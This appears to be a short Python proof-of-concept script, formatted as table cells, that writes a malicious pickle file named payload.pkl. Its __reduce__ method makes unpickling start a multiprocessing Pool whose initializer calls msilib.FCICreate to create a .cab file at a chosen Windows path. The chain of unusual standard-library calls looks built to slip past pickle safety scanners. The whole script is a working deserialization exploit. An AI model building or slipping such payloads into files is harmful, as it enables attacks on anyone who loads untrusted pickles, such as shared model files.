| import pickle | |
| from pathlib import Path | |
| from multiprocessing.pool import Pool | |
| import msilib | |
| out = Path(__file__).with_name("payload.pkl") | |
| cab = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_mp_pool.cab" | |
| class E: | |
| def __reduce__(self): | |
| return (Pool, (1, msilib.FCICreate, (cab, []))) | |
| out.write_bytes(pickle.dumps(E(), protocol=4)) | |
| print("WROTE", out) | |